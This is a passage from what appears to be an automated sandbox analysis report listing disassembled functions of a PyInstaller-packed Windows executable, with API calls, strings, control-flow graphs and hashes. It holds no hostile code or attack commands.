                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: Message
                                                    • String ID: 1.3.1$Failed to extract %s: decompression resulted in return code %d!$Failed to extract %s: failed to allocate temporary input buffer!$Failed to extract %s: failed to allocate temporary output buffer!$Failed to extract %s: inflateInit() failed with return code %d!$malloc
                                                    • API String ID: 2030045667-2813020118
                                                    • Opcode ID: 776accb740eed174f358c558dc4ea9d7882ceb26f553e8fcacba1f44cef6fe48
                                                    • Instruction ID: 88179a86b7aa1330dad24a7fc1667e6f97bd9599c60cf048bf6b2e81c4725f7c
                                                    • Opcode Fuzzy Hash: 776accb740eed174f358c558dc4ea9d7882ceb26f553e8fcacba1f44cef6fe48
                                                    • Instruction Fuzzy Hash: 5F51A422A0864285E6609F16A8503BA62A3FF85794F4C4135ED4EC7BDFEF3CE545EB00
                                                    Function 00007FF6399B7C40 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 116COMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    APIs
                                                    • GetTempPathW.KERNEL32(?,?,FFFFFFFF,00007FF6399B3834), ref: 00007FF6399B7CE4
                                                    • CreateDirectoryW.KERNELBASE(?,?,FFFFFFFF,00007FF6399B3834), ref: 00007FF6399B7D2C
                                                      • Part of subcall function 00007FF6399B7E10: GetEnvironmentVariableW.KERNEL32(00007FF6399B365F), ref: 00007FF6399B7E47
                                                      • Part of subcall function 00007FF6399B7E10: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF6399B7E69
                                                      • Part of subcall function 00007FF6399C7548: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6399C7561
                                                      • Part of subcall function 00007FF6399B26C0: MessageBoxW.USER32 ref: 00007FF6399B2736
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: Environment$CreateDirectoryExpandMessagePathStringsTempVariable_invalid_parameter_noinfo
                                                    • String ID: LOADER: failed to set the TMP environment variable.$LOADER: length of teporary directory path exceeds maximum path length!$TMP$TMP$_MEI%d
                                                    • API String ID: 740614611-1339014028
                                                    • Opcode ID: e203fb9b2ed022230aea9b70073d79c64569b0fcacf7335b186391ffe1e7d089
                                                    • Instruction ID: b1cb2114d5c8f8c634ee8cef3f7cf102009a4b885aee3159c63c129c3c46d4e4
                                                    • Opcode Fuzzy Hash: e203fb9b2ed022230aea9b70073d79c64569b0fcacf7335b186391ffe1e7d089
                                                    • Instruction Fuzzy Hash: D1414C11A0D64281EA20AF6A9D952F91263EF957C0F884132D90EC7BDFEE3CE540AF40
                                                    Function 00007FF6399CAD6C Relevance: 10.8, APIs: 7, Instructions: 290COMMONLIBRARYCODE
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 517 7ff6399cad6c-7ff6399cad92 518 7ff6399cad94-7ff6399cada8 call 7ff6399c43d4 call 7ff6399c43f4 517->518 519 7ff6399cadad-7ff6399cadb1 517->519 533 7ff6399cb19e 518->533 520 7ff6399cb187-7ff6399cb193 call 7ff6399c43d4 call 7ff6399c43f4 519->520 521 7ff6399cadb7-7ff6399cadbe 519->521 540 7ff6399cb199 call 7ff6399c9bf0 520->540 521->520 524 7ff6399cadc4-7ff6399cadf2 521->524 524->520 527 7ff6399cadf8-7ff6399cadff 524->527 530 7ff6399cae01-7ff6399cae13 call 7ff6399c43d4 call 7ff6399c43f4 527->530 531 7ff6399cae18-7ff6399cae1b 527->531 530->540 536 7ff6399cb183-7ff6399cb185 531->536 537 7ff6399cae21-7ff6399cae27 531->537 538 7ff6399cb1a1-7ff6399cb1b8 533->538 536->538 537->536 541 7ff6399cae2d-7ff6399cae30 537->541 540->533 541->530 544 7ff6399cae32-7ff6399cae57 541->544 545 7ff6399cae8a-7ff6399cae91 544->545 546 7ff6399cae59-7ff6399cae5b 544->546 550 7ff6399cae93-7ff6399caebb call 7ff6399cc90c call 7ff6399c9c58 * 2 545->550 551 7ff6399cae66-7ff6399cae7d call 7ff6399c43d4 call 7ff6399c43f4 call 7ff6399c9bf0 545->551 548 7ff6399cae82-7ff6399cae88 546->548 549 7ff6399cae5d-7ff6399cae64 546->549 553 7ff6399caf08-7ff6399caf1f 548->553 549->548 549->551 578 7ff6399caebd-7ff6399caed3 call 7ff6399c43f4 call 7ff6399c43d4 550->578 579 7ff6399caed8-7ff6399caf03 call 7ff6399cb594 550->579 582 7ff6399cb010 551->582 556 7ff6399caf21-7ff6399caf29 553->556 557 7ff6399caf9a-7ff6399cafa4 call 7ff6399d2c2c 553->557 556->557 561 7ff6399caf2b-7ff6399caf2d 556->561 569 7ff6399cb02e 557->569 570 7ff6399cafaa-7ff6399cafbf 557->570 561->557 565 7ff6399caf2f-7ff6399caf45 561->565 565->557 571 7ff6399caf47-7ff6399caf53 565->571 573 7ff6399cb033-7ff6399cb053 ReadFile 569->573 570->569 575 7ff6399cafc1-7ff6399cafd3 GetConsoleMode 570->575 571->557 576 7ff6399caf55-7ff6399caf57 571->576 580 7ff6399cb14d-7ff6399cb156 GetLastError 573->580 581 7ff6399cb059-7ff6399cb061 573->581 575->569 583 7ff6399cafd5-7ff6399cafdd 575->583 576->557 577 7ff6399caf59-7ff6399caf71 576->577 577->557 584 7ff6399caf73-7ff6399caf7f 577->584 578->582 579->553 589 7ff6399cb173-7ff6399cb176 580->589 590 7ff6399cb158-7ff6399cb16e call 7ff6399c43f4 call 7ff6399c43d4 580->590 581->580 586 7ff6399cb067 581->586 591 7ff6399cb013-7ff6399cb01d call 7ff6399c9c58 582->591 583->573 588 7ff6399cafdf-7ff6399cb001 ReadConsoleW 583->588 584->557 593 7ff6399caf81-7ff6399caf83 584->593 597 7ff6399cb06e-7ff6399cb083 586->597 599 7ff6399cb022-7ff6399cb02c 588->599 600 7ff6399cb003 GetLastError 588->600 594 7ff6399cb17c-7ff6399cb17e 589->594 595 7ff6399cb009-7ff6399cb00b call 7ff6399c4368 589->595 590->582 591->538 593->557 603 7ff6399caf85-7ff6399caf95 593->603 594->591 595->582 597->591 605 7ff6399cb085-7ff6399cb090 597->605 599->597 600->595 603->557 610 7ff6399cb092-7ff6399cb0ab call 7ff6399ca984 605->610 611 7ff6399cb0b7-7ff6399cb0bf 605->611 617 7ff6399cb0b0-7ff6399cb0b2 610->617 614 7ff6399cb0c1-7ff6399cb0d3 611->614 615 7ff6399cb13b-7ff6399cb148 call 7ff6399ca7c4 611->615 618 7ff6399cb0d5 614->618 619 7ff6399cb12e-7ff6399cb136 614->619 615->617 617->591 621 7ff6399cb0da-7ff6399cb0e1 618->621 619->591 622 7ff6399cb0e3-7ff6399cb0e7 621->622 623 7ff6399cb11d-7ff6399cb128 621->623 624 7ff6399cb103 622->624 625 7ff6399cb0e9-7ff6399cb0f0 622->625 623->619 627 7ff6399cb109-7ff6399cb119 624->627 625->624 626 7ff6399cb0f2-7ff6399cb0f6 625->626 626->624 628 7ff6399cb0f8-7ff6399cb101 626->628 627->621 629 7ff6399cb11b 627->629 628->627 629->619
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: _invalid_parameter_noinfo
                                                    • String ID:
                                                    • API String ID: 3215553584-0
                                                    • Opcode ID: 7e4b6968f21da67f115f2b5899b729ebe27c21aa0167ab1df282e77588440d71
                                                    • Instruction ID: 5748faccd5ef5678ca2b6ef09e05b2af5f75f984602b9b99672265fd744ff17d
                                                    • Opcode Fuzzy Hash: 7e4b6968f21da67f115f2b5899b729ebe27c21aa0167ab1df282e77588440d71
                                                    • Instruction Fuzzy Hash: F6C1CF22E0C68791EB609F1598402BE7792EB91B80F5D0131EA4E837DBCE7DE855EF10
                                                    Function 00007FF6399B7B50 Relevance: 10.6, APIs: 7, Instructions: 63COMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: Token$InformationProcess$CloseConvertCurrentErrorHandleLastOpenString
                                                    • String ID:
                                                    • API String ID: 995526605-0
                                                    • Opcode ID: fa100e685baa98e829519164d8c7bae0263b828ebdd9095db38f9558f9492d32
                                                    • Instruction ID: ef14b38fe6606a733dda591b69af5bef2592ed940bce44ba1d5f0d51a78d3933
                                                    • Opcode Fuzzy Hash: fa100e685baa98e829519164d8c7bae0263b828ebdd9095db38f9558f9492d32
                                                    • Instruction Fuzzy Hash: DD212321A0CA4341EB109F59E88422AA3A2EF857A4F180239DA6D83FDEDF7DD4459F00
                                                    Function 00007FF6399B33E0 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 59COMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    APIs
                                                    • GetModuleFileNameW.KERNEL32(?,00007FF6399B3534), ref: 00007FF6399B3411
                                                      • Part of subcall function 00007FF6399B29E0: GetLastError.KERNEL32(?,?,?,00007FF6399B342E,?,00007FF6399B3534), ref: 00007FF6399B2A14
                                                      • Part of subcall function 00007FF6399B29E0: FormatMessageW.KERNEL32(?,?,?,00007FF6399B342E), ref: 00007FF6399B2A7D
                                                      • Part of subcall function 00007FF6399B29E0: MessageBoxW.USER32 ref: 00007FF6399B2ACF
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: Message$ErrorFileFormatLastModuleName
                                                    • String ID: Failed to convert executable path to UTF-8.$Failed to obtain executable path.$Failed to resolve full path to executable %ls.$GetModuleFileNameW$\\?\
                                                    • API String ID: 517058245-2863816727
                                                    • Opcode ID: 4333ea13b7f7892cb13c7834fe0fbc8b7cb0659b0560af6bfa7ef98de9a8054c
                                                    • Instruction ID: 0b821c11b5d6de232619a43c745e28e1b4ccaa86e4296a8c93d4fa5f0bbe5a05
                                                    • Opcode Fuzzy Hash: 4333ea13b7f7892cb13c7834fe0fbc8b7cb0659b0560af6bfa7ef98de9a8054c
                                                    • Instruction Fuzzy Hash: EF216B61B1858291FA21DF25E8513B96263FF5C384F880136D65DC67EFEE6CE508AB00
                                                    Function 00007FF6399B8400 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 64COMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    APIs
                                                      • Part of subcall function 00007FF6399B7B50: GetCurrentProcess.KERNEL32 ref: 00007FF6399B7B70
                                                      • Part of subcall function 00007FF6399B7B50: OpenProcessToken.ADVAPI32 ref: 00007FF6399B7B83
                                                      • Part of subcall function 00007FF6399B7B50: GetTokenInformation.KERNELBASE ref: 00007FF6399B7BA8
                                                      • Part of subcall function 00007FF6399B7B50: GetLastError.KERNEL32 ref: 00007FF6399B7BB2
                                                      • Part of subcall function 00007FF6399B7B50: GetTokenInformation.KERNELBASE ref: 00007FF6399B7BF2
                                                      • Part of subcall function 00007FF6399B7B50: ConvertSidToStringSidW.ADVAPI32 ref: 00007FF6399B7C0E
                                                      • Part of subcall function 00007FF6399B7B50: CloseHandle.KERNEL32 ref: 00007FF6399B7C26
                                                    • LocalFree.KERNEL32(?,00007FF6399B3814), ref: 00007FF6399B848C
                                                    • LocalFree.KERNEL32(?,00007FF6399B3814), ref: 00007FF6399B8495
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: Token$FreeInformationLocalProcess$CloseConvertCurrentErrorHandleLastOpenString
                                                    • String ID: D:(A;;FA;;;%s)$D:(A;;FA;;;%s)(A;;FA;;;%s)$S-1-3-4$Security descriptor string length exceeds PYI_PATH_MAX!
                                                    • API String ID: 6828938-1529539262
                                                    • Opcode ID: 00508f9f8b173662f129ea82402565ecad2bd7bdcd40e7a91b5badc9791cb352
                                                    • Instruction ID: cf5a2a6b53f2efb6eccfc0ac2e03a34256d4f46bf319862f4e01472a21cdf172
                                                    • Opcode Fuzzy Hash: 00508f9f8b173662f129ea82402565ecad2bd7bdcd40e7a91b5badc9791cb352
                                                    • Instruction Fuzzy Hash: 33212F22A0864292F610AF11E9552E962B6FF98780F4C4435EA4D87BDBDF3CD945DB80
                                                    Function 00007FF6399CC270 Relevance: 6.2, APIs: 4, Instructions: 218COMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 764 7ff6399cc270-7ff6399cc295 765 7ff6399cc563 764->765 766 7ff6399cc29b-7ff6399cc29e 764->766 769 7ff6399cc565-7ff6399cc575 765->769 767 7ff6399cc2a0-7ff6399cc2d2 call 7ff6399c9b24 766->767 768 7ff6399cc2d7-7ff6399cc303 766->768 767->769 771 7ff6399cc305-7ff6399cc30c 768->771 772 7ff6399cc30e-7ff6399cc314 768->772 771->767 771->772 774 7ff6399cc324-7ff6399cc339 call 7ff6399d2c2c 772->774 775 7ff6399cc316-7ff6399cc31f call 7ff6399cb630 772->775 779 7ff6399cc453-7ff6399cc45c 774->779 780 7ff6399cc33f-7ff6399cc348 774->780 775->774 781 7ff6399cc45e-7ff6399cc464 779->781 782 7ff6399cc4b0-7ff6399cc4d5 WriteFile 779->782 780->779 783 7ff6399cc34e-7ff6399cc352 780->783 786 7ff6399cc49c-7ff6399cc4ae call 7ff6399cbd28 781->786 787 7ff6399cc466-7ff6399cc469 781->787 784 7ff6399cc4e0 782->784 785 7ff6399cc4d7-7ff6399cc4dd GetLastError 782->785 788 7ff6399cc363-7ff6399cc36e 783->788 789 7ff6399cc354-7ff6399cc35c call 7ff6399c3ae0 783->789 793 7ff6399cc4e3 784->793 785->784 808 7ff6399cc440-7ff6399cc447 786->808 794 7ff6399cc46b-7ff6399cc46e 787->794 795 7ff6399cc488-7ff6399cc49a call 7ff6399cbf48 787->795 790 7ff6399cc37f-7ff6399cc394 GetConsoleMode 788->790 791 7ff6399cc370-7ff6399cc379 788->791 789->788 798 7ff6399cc39a-7ff6399cc3a0 790->798 799 7ff6399cc44c 790->799 791->779 791->790 801 7ff6399cc4e8 793->801 802 7ff6399cc4f4-7ff6399cc4fe 794->802 803 7ff6399cc474-7ff6399cc486 call 7ff6399cbe2c 794->803 795->808 806 7ff6399cc3a6-7ff6399cc3a9 798->806 807 7ff6399cc429-7ff6399cc43b call 7ff6399cb8b0 798->807 799->779 809 7ff6399cc4ed 801->809 810 7ff6399cc500-7ff6399cc505 802->810 811 7ff6399cc55c-7ff6399cc561 802->811 803->808 813 7ff6399cc3b4-7ff6399cc3c2 806->813 814 7ff6399cc3ab-7ff6399cc3ae 806->814 807->808 808->801 809->802 816 7ff6399cc533-7ff6399cc53d 810->816 817 7ff6399cc507-7ff6399cc50a 810->817 811->769 821 7ff6399cc3c4 813->821 822 7ff6399cc420-7ff6399cc424 813->822 814->809 814->813 819 7ff6399cc544-7ff6399cc553 816->819 820 7ff6399cc53f-7ff6399cc542 816->820 823 7ff6399cc523-7ff6399cc52e call 7ff6399c43b0 817->823 824 7ff6399cc50c-7ff6399cc51b 817->824 819->811 820->765 820->819 826 7ff6399cc3c8-7ff6399cc3df call 7ff6399d2cf8 821->826 822->793 823->816 824->823 830 7ff6399cc3e1-7ff6399cc3ed 826->830 831 7ff6399cc417-7ff6399cc41d GetLastError 826->831 832 7ff6399cc3ef-7ff6399cc401 call 7ff6399d2cf8 830->832 833 7ff6399cc40c-7ff6399cc413 830->833 831->822 832->831 837 7ff6399cc403-7ff6399cc40a 832->837 833->822 834 7ff6399cc415 833->834 834->826 837->833
                                                    APIs
                                                    • GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6399CC25B), ref: 00007FF6399CC38C
                                                    • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6399CC25B), ref: 00007FF6399CC417
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: ConsoleErrorLastMode
                                                    • String ID:
                                                    • API String ID: 953036326-0
                                                    • Opcode ID: 1f18d30cb6731d2276149ea46625d8d438ffcaf3b5eb5be8e43e25f336112fa7
                                                    • Instruction ID: 556f40c70d83627847319ecf1d1fc412200c3595e18f3c8243bdcbd8c870ccb9
                                                    • Opcode Fuzzy Hash: 1f18d30cb6731d2276149ea46625d8d438ffcaf3b5eb5be8e43e25f336112fa7
                                                    • Instruction Fuzzy Hash: E391A672F0865295F750CF65988027D6BA2BB44F88F584539DE0E96BCEEE38E441EF10
                                                    Function 00007FF6399C4938 Relevance: 6.1, APIs: 4, Instructions: 90fileCOMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: CloseCreateFileHandle_invalid_parameter_noinfo
                                                    • String ID:
                                                    • API String ID: 1279662727-0
                                                    • Opcode ID: ebea2a15e315379b7438f17c06ac6f564ef77e5ce815d722b4931623952d3bd6
                                                    • Instruction ID: d86e09f8cbbad61bca77b3c1c794342783440ca4a578cbe66bbc096c242f6ef3
                                                    • Opcode Fuzzy Hash: ebea2a15e315379b7438f17c06ac6f564ef77e5ce815d722b4931623952d3bd6
                                                    • Instruction Fuzzy Hash: A4418322E1878283F7548F6199503696362FF947A4F149334E69E83BDADF6CA5E09F00
                                                    Function 00007FF6399BBF5C Relevance: 4.6, APIs: 3, Instructions: 94COMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_release_startup_lock
                                                    • String ID:
                                                    • API String ID: 3251591375-0
                                                    • Opcode ID: 51e2e4cc4e0defacebf1dac919e01b91b6d5e84f1fe25dd37a2b49ce45fe95ab
                                                    • Instruction ID: 8a9f39432b948cad89da80364e2310a65faae9c4efa567a0c76dc4086c1912a0
                                                    • Opcode Fuzzy Hash: 51e2e4cc4e0defacebf1dac919e01b91b6d5e84f1fe25dd37a2b49ce45fe95ab
                                                    • Instruction Fuzzy Hash: A6313B21E0C24341FA54AF6994563BA23A3DF45388F4C0039EA4EC73DFEE6CA844AE11
                                                    Function 00007FF6399BF45C Relevance: 3.2, APIs: 2, Instructions: 177COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: _invalid_parameter_noinfo
                                                    • String ID:
                                                    • API String ID: 3215553584-0
                                                    • Opcode ID: bcfcf1faf55df9f9e23f958511fce33fc2a490ff62131b022dace26bbec7c8c2
                                                    • Instruction ID: 1f44f84ff129918ef5f3b68ce49d1b10d00982163c535169be32d39b147f081c
                                                    • Opcode Fuzzy Hash: bcfcf1faf55df9f9e23f958511fce33fc2a490ff62131b022dace26bbec7c8c2
                                                    • Instruction Fuzzy Hash: 6351C861B0924686F728AEA6980467A66A3FF44BB4F1C4634DD6D877DFCE3CD401AE00
                                                    Function 00007FF6399CB444 Relevance: 3.0, APIs: 2, Instructions: 46COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: ErrorFileLastPointer
                                                    • String ID:
                                                    • API String ID: 2976181284-0
                                                    • Opcode ID: cd3a9f3ea8ef265e1697b25d2233ff7099ae2ab5e22e5ab4fa41e006c1c379b1
                                                    • Instruction ID: 97379b8f0a5df6675013fbd6b14d18b1a607e48d8dd03c19710b3dc120bc145e
                                                    • Opcode Fuzzy Hash: cd3a9f3ea8ef265e1697b25d2233ff7099ae2ab5e22e5ab4fa41e006c1c379b1
                                                    • Instruction Fuzzy Hash: 6E118262A1CA8281DA108F25A844169B362AB48BF4F584331EE7D877EFCE7CD150DF40
                                                    Function 00007FF6399C9C58 Relevance: 3.0, APIs: 2, Instructions: 19memoryCOMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
